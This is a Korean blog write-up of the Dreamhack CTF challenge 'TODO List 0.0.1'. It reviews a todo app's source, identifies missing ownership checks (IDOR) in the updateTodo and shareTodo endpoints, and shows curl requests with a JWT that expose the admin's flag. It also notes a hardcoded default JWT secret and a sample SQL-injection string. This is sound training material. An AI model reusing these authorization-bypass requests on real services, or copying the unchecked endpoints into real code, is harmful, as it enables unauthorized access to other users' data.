[Dreamhack] TODO List 0.0.1
2024. 11. 29.

https://dreamhack.io/wargame/challenges/1533

 

TODO List 0.0.1

 

dreamhack.io

 

웹 사이트에 들어가보자.

조금 로딩되다가 이런 사이트가 뜬다. 회원가입 / 로그인 기능이 구현되어 있다. 회원가입을 해 보자.

 

회원가입을 한 이메일 / 비밀번호로 로그인을 하면 -> 투두리스트 기능이 뜬다. 해당 기능을 사용해보자.

시험삼아 하나 만들어봄

제목, 내용, 날짜를 입력할 수 있는 칸이 있고, title이나 description 둘 중 하나가 비면 submit을 못하지만(error 창 뜸) 날짜는 선택으로 입력해도 되고 입력 안해도 되는 듯하다.

로그아웃후 이제 코드를 살펴보러 ㄱㄱ

 

code

vue.js로 작성된 코드이고, 여기서 create.sql, login, index.vue랑 auth.js, login.js 위주로 살펴보자.

저거 다 살필 필요는 없음

※ create.sql

더보기
-- Users
CREATE TABLE IF NOT EXISTS Users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    email TEXT NOT NULL UNIQUE,
    password TEXT NOT NULL
);

-- TodoList
CREATE TABLE IF NOT EXISTS Todolist (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    user_id INTEGER,
    name TEXT NOT NULL,
    description TEXT,
    FOREIGN KEY (user_id) REFERENCES Users(id) ON DELETE CASCADE
);

-- Todo
CREATE TABLE IF NOT EXISTS Todo (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    todo_list_id INTEGER,
    title TEXT NOT NULL,
    description TEXT,
    is_completed BOOLEAN NOT NULL DEFAULT 0,
    start_date DATE,
    due_date DATE,
    FOREIGN KEY (todo_list_id) REFERENCES Todolist(id) ON DELETE CASCADE
);

CREATE TABLE IF NOT EXISTS TodoShares (
    todo_id INTEGER,
    user_id INTEGER,
    permission_type TEXT,  -- 'owner', 'shared'
    PRIMARY KEY (todo_id, user_id),
    FOREIGN KEY (todo_id) REFERENCES Todo(id) ON DELETE CASCADE,
    FOREIGN KEY (user_id) REFERENCES Users(id) ON DELETE CASCADE
);

INSERT INTO Users (username, email, password) VALUES (
    'admin',
    'admin@dreamhack.io',
    'helloworld' -- redacted
);
INSERT INTO Todolist (user_id, name) VALUES (
    1,
    'admin'
);

INSERT INTO Todo (todo_list_id, title, description, is_completed) VALUES (
    1,
    'flag',
    'DH{sample_flag}',
    1
);

여기서 admin user 부분을 보면 된다.

INSERT INTO Users (username, email, password) VALUES (
	'admin',
    'admin@dreamhack.io',
    'helloworld' -- redacted
);

 sql에는 admin이라는 유저가 존재한다. 보면 password에 helloworld 라고 되어있는데, redacted라는 언급이 되어있어서 helloworld가 아니라 다른 값으로 패스워드가 저장되어있다는 걸 알 수 있다.

실제로 웹사이트에 admin@dreamhack.io와 helloworld를 쳐봐도 로그인이 되지 않는다.

INSERT INTO Todolist (user_id, name) VALUES (
    1,
    'admin'
);

admin의 user_id는 1

INSERT INTO Todo (todo_list_id, title, description, is_completed) VALUES (
    1,
    'flag',
    'DH{sample_flag}',
    1
);

여기서 만약 admin으로 로그인을 성공할 경우 -> 플래그를 얻을 수 있다는 걸 알수있다.

 

우리의 목표! : admin으로 로그인하기!

-> 회원가입

-> 로그인

-> 인덱스 뷰?

여기 로직에서 vulnerability를 알아보도록 하자

※ auth.js

더보기
import jwt from 'jsonwebtoken';

const JWT_SECRET_KEY = process.env.JWT_SECRET_KEY || 'your_secret_key';

export function verifyToken(req) {
    const authHeader = req.headers.authorization;

    if (!authHeader || !authHeader.startsWith('Bearer ')) {
        throw new Error('No token provided');
    }
    const token = authHeader.split(' ')[1];
    return jwt.verify(token, JWT_SECRET_KEY);
}

JWT를 사용해 검증하는 함수

환경변수 jwt_secret_key가 설정되어있을 경우 -> 이걸 사용

없으면 -> your_secret_key 사용

verifyToken에서 요청을 받아 jwt를 추출하고 검증하는 과정을 거침 -> 만약 검증된 jwt 토큰일 경우 JWT_SECRET_KEY 반환, 아니면 에러 throw

 

 

※ login.js

더보기
import { createError, readBody } from 'h3';
import bcrypt from 'bcryptjs';
import { openDatabase } from '../utils/db';
import jwt from 'jsonwebtoken';

const JWT_SECRET_KEY = process.env.JWT_SECRET_KEY || 'your_secret_key';
export default async (req, res) => {
    const db = await openDatabase();
    const { email, password } = await readBody(req);

    if (!email || !password) {
        throw createError({ statusCode: 400, statusMessage: 'Email and password are required.' });
    }

    try {
        const user = await db.get('SELECT * FROM Users WHERE email = ?', [email]);
        if (!user) {
            throw createError({ statusCode: 404, statusMessage: 'User not found!' });
        }

        const passwordValid = await bcrypt.compare(password, user.password);
        if (!passwordValid) {
            throw createError({ statusCode: 401, statusMessage: 'Invalid password!' });
        }

        const token = jwt.sign(
            { userId: user.id, email: user.email }, 
            JWT_SECRET_KEY,
            { expiresIn: '3h' } 
        );

        return { message: 'Login successful!', token }; 
    } catch (error) {
        throw createError({ statusCode: 500, statusMessage: 'Error logging in user.' });
    }
}

사용자 로그인 요청처리 함수

입력된 이메일과 비밀번호를 검증하고 유효한 경우 JWT 생성 후 반환한다.

import { createError, readyBody } from 'h3';
import bcrypt from 'bcryptjs';

h3 패키지에서 createError, readyBody를 import

readyBody는 요청의 본문을 읽는 함수

const JWT_SECRET_KEY = process.env.JWT_SECRET_KEY || 'your_secret_key';

환경변수가 설정되어 있지 않으면 마찬가지로 your_secret_key를 기본값으로 사용 <- 취약점?

● 사용자 검증

try {
    const user = await db.get('SELECT * FROM Users WHERE email = ?', [email]);
    if (!user) {
        throw createError({ statusCode: 404, statusMessage: 'User not found!' });
    }

    const passwordValid = await bcrypt.compare(password, user.password);
    if (!passwordValid) {
        throw createError({ statusCode: 401, statusMessage: 'Invalid password!' });
    }

email 기준으로 데이터베이스에서 사용자 조회(const user = await db.get('SELECT * FROM Users WHERE email = ?', [email]);)

해시화 후 db에 저장된 해시된 비밀번호를 비교함

● jwt 생성 및 반환

    const token = jwt.sign(
        { userId: user.id, email: user.email }, 
        JWT_SECRET_KEY,
        { expiresIn: '3h' } 
    );

    return { message: 'Login successful!', token };

 토큰 페이로드 -> userId, email이 포함됨

jwt는 JWT_SECRET_KEY를 통해 서명되고, 유효 기간은 3시간

※ todo.js

더보기
import { readBody, createError } from 'h3';
import { openDatabase } from '../utils/db';

export default defineEventHandler(async (event) => {
    const userData = verifyToken(event.req);
    const db = await openDatabase();
    const body = await readBody(event);
    
    const { title, description, dueDate } = body;
    if (!title || !description) {
        throw createError({ statusCode: 400, statusMessage: 'Title and description are required.' });
    }

    const startDate = new Date().toISOString();
    const dueDateFormatted = dueDate ? new Date(dueDate).toISOString() : null;

    try {
        const todoListId = await db.get('SELECT id FROM Todolist WHERE user_id = ?', [userData.userId]);
        const result = await db.run(
            `INSERT INTO todo (todo_list_id, title, description, start_date, due_date)
             VALUES (?, ?, ?, ?, ?)`,
            [todoListId.id, title, description, startDate, dueDateFormatted]
        );
        return { success: true, message: 'Todo added successfully', id: result.lastID };
    } catch (error) {
        throw createError({ statusCode: 500, statusMessage: 'Database error: ' + error.message });
    }
});

새로운 할 일이 등록되면 데이터베이스에 추가하는 코드이다.

verifyToken 함수를 사용하여 요청 데이터의 jwt를 검증하고 올바른 사용자면 데이터베이스에 할일을 저장한다.

이때 title과 description이 null일 경우 error 발생, todoListId에서 사용자 id기준 투두 리스트 id를 조회한다. (SELECT id FROM Todolist WHERE user_id = ?)

shareTodo.js

더보기
import { readBody, createError } from 'h3';
import { openDatabase } from '../utils/db';

export default defineEventHandler(async (event) => {
    const userData = verifyToken(event.req);
    const db = await openDatabase();
    const body = await readBody(event);
    
    const todo = body;
    try {
        const todo_data = await db.get(
            'SELECT * FROM Todo WHERE id = ?', [todo.id]
        );
        if (todo_data.is_completed === 1) {
            return { message: 'you cannot share already completed todo', id: todo_data.id}
        }

        const result = await db.run(
            `INSERT INTO TodoShares (todo_id, user_id, permission_type) VALUES
            (?, ?, ?)`,
            [todo_data.id, todo.target_id, 'shared']
          );
        return { success: true, message: 'Todo shared successfully', id: result.lastID };
    } catch (error) {
        throw createError({ statusCode: 500, statusMessage: 'Database error: ' + error.message });
    }
});

todo.js와 비슷한 구조를 가지고 있다.

여기서

if (todo_data.is_completed === 1) {
            return { message: 'you cannot share already completed todo', id: todo_data.id }
        }

 코드가 추가되는데, todo가 완료된 상태, 즉 체크가 되어서 밑줄이 그어진 상태

이런 상태면 공유할 수 없다고 뜸

여기서부터 특이한 점이, 웹 사이트에서는 구현이 안되어있다는 것이다. index.vue를 보면

<template>
  <div class="container">
    <div v-if="isLoggedIn" class="top-right">
      <button class="logout-button" @click="logout">Logout</button>
    </div>
    <div v-if="isLoggedIn">
      <h1>Your Todo Lists</h1>
      <button @click="toggleAddTodo">+ Add Todo</button>
      <div v-if="showAddForm">
        <input type="text" v-model="newTodo.title" placeholder="Title" required>
        <textarea v-model="newTodo.description" placeholder="Description" required></textarea>
        <input type="date" v-model="newTodo.dueDate">
        <button @click="addTodo">Submit</button>
      </div>
      <ul v-if="todoLists.length">
        <li v-for="item, idx in todoLists" :key="idx">
          <span :class="{ completed: item.is_completed }">{{ item.title }}: {{ item.description }}</span>
          <input type="checkbox" v-model="item.is_completed" @change="updateTodoStatus(item)">
          <!--
          under construction 
          <button @click="shareTodo"> Share </button>
          -->
        </li>
      </ul>
      <p v-else>No Todo Lists found.</p>
    </div>
    <div v-else>
      <h1>Welcome to Our Todo App</h1>
      <p>You are not logged in.</p>
      <button class="button" @click="navigateToLogin">Login</button>
      <button class="button" @click="navigateToSignup">Sign Up</button>
    </div>
  </div>
</template>

<script setup>
import { ref, onMounted } from 'vue';
import { useRouter } from 'vue-router';

const isLoggedIn = ref(false);
const todoLists = ref([]);
const router = useRouter();
const errorMessage = ref("");
const isLoading = ref(false);


onMounted(async () => {
  const token = localStorage.getItem('auth_token');
  if (token) {
    isLoggedIn.value = true;
    fetchTodolist(token);
  }
});

async function fetchTodolist(token) {
  isLoading.value = true;
  try {
    const response = await fetch('/api/todolist', {
      method: 'POST',
      headers: {
        'Authorization': `Bearer ${token}`
      }
    });

    if (response.ok) {
      todoLists.value = await response.json();
      todoLists.value.forEach(todo => {
      todo.is_completed = Boolean(todo.is_completed); 
    });
    } else {
      throw new Error('Failed to fetch todo lists');
    }
  } catch (error) {
    console.error('Error:', error);
    errorMessage.value = 'Error fetching todo lists: ' + error.message;
    router.push('/');
  } finally {
    isLoading.value = false;
  }
}
function logout() {
  localStorage.removeItem('auth_token');
  isLoggedIn.value = false;
  router.push('/');
}

function navigateToLogin() {
  router.push('/login');
}

function navigateToSignup() {
  router.push('/signup');
}
const showAddForm = ref(false);
const newTodo = ref({
  title: '',
  description: '',
  dueDate: ''
});

const toggleAddTodo = () => {
  showAddForm.value = !showAddForm.value;
  if (!showAddForm.value) {
    newTodo.value = { title: '', description: '', dueDate: '' };
  }
};

const addTodo = async () => {
  try {
    const data = JSON.stringify({
      title: newTodo.value.title,
      description: newTodo.value.description,
      dueDate: newTodo.value.dueDate || undefined
    });
    const token = localStorage.getItem('auth_token');
    if (!token) {
      throw new Error('login plz');
    }
    const response = await fetch('/api/todo', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer ${token}`,
      },
      body: data,
    });
    if (!response.ok) {
      throw new Error('Failed to add todo');
    }
    toggleAddTodo();
    todoLists.value.push(JSON.parse(data));
  } catch (error) {
    console.error('Error adding todo:', error);
    alert('Error adding todo');
  }
}

async function shareTodo(todo) {
  try {
    const data = JSON.stringify(
      todo
    );
    const token = localStorage.getItem('auth_token');
    if (!token) {
      throw new Error('login plz');
    }
    const response = await fetch('/api/shareTodo', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer ${token}`,
      },
      body: data,
    });
    if (!response.ok) {
      throw new Error('Failed to share api');
    }
  } catch (error) {
    console.error('Error share todo:', error);
    alert('Error share todo');
  }
}

async function updateTodoStatus(todo) {
  try {
    const data = JSON.stringify({
      id: todo.id,
      value: todo.is_completed,
    });
    const token = localStorage.getItem('auth_token');
    if (!token) {
      throw new Error('login plz');
    }
    const response = await fetch('/api/updateTodo', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer ${token}`,
      },
      body: data,
    });
    if (!response.ok) {
      throw new Error('Failed to add todo');
    }
  } catch (error) {
    console.error('Error patching todo:', error);
    alert('Error patching todo');
  }
}
</script>


<style scoped>
.todo-list-container ul {
  list-style-type: none;
  padding: 0;
}

.todo-item {
  padding: 10px;
  border-bottom: 1px solid #ccc;
  display: flex;
  align-items: center;
}

.todo-item input[type="checkbox"] {
  margin-right: 10px;
}

.completed {
  text-decoration: line-through;
  color: #aaa;
}
</style>

shareTodo와 updateTodo는 /api/shareTodo, /api/updateTodo로 요청을 받고 있는데 기능이 미구현 된 상태인 것이다. 정확히는

<!--
          under construction 
          <button @click="shareTodo"> Share </button>
          -->

주석처리가 되어있음

여기서 취약점이 있을 것이라고 추측을 해 볼수 있을 것이다. 마저 분석해보자.

 

updateTodo.js

더보기
import { readBody, createError } from 'h3';
import { openDatabase } from '../utils/db';

export default defineEventHandler(async (event) => {
    const userData = verifyToken(event.req);
    const db = await openDatabase();
    const body = await readBody(event);
    
    const { id, value} = body;
    try {
        const result = await db.run(
            `UPDATE todo
             SET is_completed = ?
             WHERE id = ?`,
            [value, id]
          );
        return { success: true, message: 'Todo updated successfully', id: result.lastID };
    } catch (error) {
        throw createError({ statusCode: 500, statusMessage: 'Database error: ' + error.message });
    }
});

투두의 완료 상태 업데이트 코드

투두 id와 완료 상태값(value)를 제공할 경우, 이를 db에 업데이트한다.

쿼리문을 보면 알겠지만 업데이트 과정에서 업데이트를 시도하는 사용자가 누구인지에 대한 검증이 없다. 

이 부분이 가장 핵심!! 

 

todolist.js

더보기
import { verifyToken } from '../utils/auth';
import { openDatabase } from '../utils/db';

export default defineEventHandler(async (event) => {
    try {
        const userData = verifyToken(event.req);
        const db = await openDatabase();
        const todoList = await db.all('SELECT * FROM Todo where todo_list_id=(SELECT id FROM Todolist WHERE Todolist.user_id = ?)', [userData.userId]);

        const sharedList = await db.all('SELECT * FROM TodoShares where user_id= ? ', [userData.userId]);
        for (const shared of sharedList){
            if (shared.permission_type === "owner" || shared.permission_type === "shared")
            todoList.push(await db.get('SELECT * FROM Todo where id = ?',[shared.todo_id]));
        };
        return todoList;
    } catch (error) {
        return createError({
            statusCode: 401,
            statusMessage: 'Unauthorized: ' + error.message
        });
    }
});

사용자의 id를 데이터베이스에서 조회한 후 사용자가 작성한 투두 리스트들을 출력하는 코드

sharedList 부분을 보면 owner 권한을 가질 때, 그리고 shared 권한을 가질 때의 투두리스트들을 모두 출력해주는 것을 볼 수 있다.

아무래도 sharedTodo, updateTodo에서 어떠한 조작을 가할 경우, permission_type = "shared"를 통해 admin의 작성글을 조회할 수 있을 것이라 추측된다.

 

Exploit idea

※ 들어가기 전

sql injection 공격이 아닌 이유...

더보기

SQL Injection 공격은 먹히지 않는다

쿼리문을 보면

const user = await db.get('SELECT * FROM Users WHERE email = ?', [email]);

?를 사용해 매개변수화된 쿼리문을 사용한 것을 알 수 있다.

? 플레이스 홀더 사용할 경우, 사용자 입력은 단순 문자열로 처리되어 들어가기 때문에 ' OR 1=1 -- 와 같은 악성 쿼리문도 문자열로 처리되어 sql injection 공격을 방지한다.

 

매개변수화된 쿼리문 사용, 데이터베이스 드라이버 단(sqlite3)에서의 이스케이프 처리, 동적 쿼리 생성 x(sql injection 공격은 문자열을 db에 직접 연결하여 쿼리를 동적으로 생성할때 주로 발생함) => sql injection 공격 아님ㅠ

 

Vulnerability point

- IDOR (불충분한 접근 권한 검증) / Authorization Bypass (권한 우회)

/api/updateTodo 엔드포인트에서 권한 검증 부족으로 인한 취약점

updateTodo 코드를 보면 id와 value를 전달받아 todo의 상태를 업데이트한다.

그러나 해당 코드는 요청을 보낸 사용자가 이 todo의 소유자(owner)인지 검증하지 않는다는 문제가 있다.

> updateTodo.js

const result = await db.run(
	`UPDATE todo
    SET is_completed = ?
    WHERE id = ?`,
    [value, id]
);

todo의 소유권(owner)를 확인하지 않고 바로 업데이트를 수행함

 

> shareTodo.js

const result = await db.run(
	`INSERT INTO TodoShares (todo_id, user_id, permission_type) VALUES (?, ?, ?)`,
    [todo_data.id, todo.target_id, 'shared']
)

마찬가지로 todo의 소유권을 확인하지 않고 insert를 진행함


admin이 아니라 일반 사용자의 jwt를 이용해 /api/updateTodo, /api/shareTodo를 호출할 경우, admin이 작성한 todo에 접근할 수 있을 것이라고 추측해 볼 수 있을것 같다.

exploit code

일단 회원가입 후, 로그인을 해 보자.

curl로 로그인을 해서 jwt를 확인해 보았다.

curl -X POST http://host3.dreamhack.games:24391/api/login \
-H "Content-Type: application/json" \
-d '{
    "email": "vina1601@naver.com",
    "password": "1234"
}'

jwt token을 확인해보자.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsImVtYWlsIjoidmluYTE2MDFAbmF2ZXIuY29tIiwiaWF0IjoxNzMyODA2NjY4LCJleHAiOjE3MzI4MTc0Njh9.A3iYXZgmsgHmIgfOedw1FJOb3N8guf9ApHK7yqylk3o

☆ /api/updateTodo로 is_completed 상태를 변경하기 

만약 admin이 작성한 todo가 공유 가능한 상태가 된다면 일반 사용자도 읽을 수 있을 것이다.

현재 admin이 작성한 todo는 is_completed = 1로 설정되어 있는 상태이다.

curl -X POST http://host3.dreamhack.games:24391/api/shareTodo \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsImVtYWlsIjoidmluYTE2MDFAbmF2ZXIuY29tIiwiaWF0IjoxNzMyODA2NjY4LCJleHAiOjE3MzI4MTc0Njh9.A3iYXZgmsgHmIgfOedw1FJOb3N8guf9ApHK7yqylk3o" \
-H "Content-Type: application/json" \
-d '{
    "id": 1,          
    "target_id": 2    
}'

 

그러면 아래 /api/updateTodo 로 요청을 보내서 todo의 is_completed의 상태를 바꿔보자.

curl -X POST http://host3.dreamhack.games:24391/api/updateTodo \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsImVtYWlsIjoidmluYTE2MDFAbmF2ZXIuY29tIiwiaWF0IjoxNzMyODA2NjY4LCJleHAiOjE3MzI4MTc0Njh9.A3iYXZgmsgHmIgfOedw1FJOb3N8guf9ApHK7yqylk3o" \
-H "Content-Type: application/json" \
-d '{
    "id": 1,
    "value": 0
}'

소유권(permission)의 확인이 없음 -> 그대로 is_completed의 상태가 0으로 변경

☆ /api/shareTodo로 admin의 todo 공유

curl -X POST http://host3.dreamhack.games:24391/api/shareTodo \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsImVtYWlsIjoidmluYTE2MDFAbmF2ZXIuY29tIiwiaWF0IjoxNzMyODA2NjY4LCJleHAiOjE3MzI4MTc0Njh9.A3iYXZgmsgHmIgfOedw1FJOb3N8guf9ApHK7yqylk3o" \
-H "Content-Type: application/json" \
-d '{
    "id": 1,
    "target_id": 2
}'

마찬가지로 소유권의 검증이 없기 때문에 정상적으로 잘 공유됨

성공적으로 공유되었다고 뜬다. 만약 위 메세지대로라면 내 투두리스트에도 공유된 admin의 투두가 뜰 것이다.

마지막으로 공유된 todo를 확인해 보면

curl -X POST http://host3.dreamhack.games:24391/api/todolist \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsImVtYWlsIjoidmluYTE2MDFAbmF2ZXIuY29tIiwiaWF0IjoxNzMyODA2NjY4LCJleHAiOjE3MzI4MTc0Njh9.A3iYXZgmsgHmIgfOedw1FJOb3N8guf9ApHK7yqylk3o"

아무것도 작성하지도 않았는데 공유된 todo가 뜬 것을 확인할 수 있다. 

'보안 > Web hacking' 카테고리의 다른 글

[Dreamhack] Not-only  (1) 2024.12.20
[Dreamhack] Baby - ai  (0) 2024.12.18
[Dreamhack] Broken Is SSRF possible?  (0) 2024.11.24
[Dreamhack] youth-Case  (0) 2024.11.22
[Dreamhack] Secure Secret  (1) 2024.11.14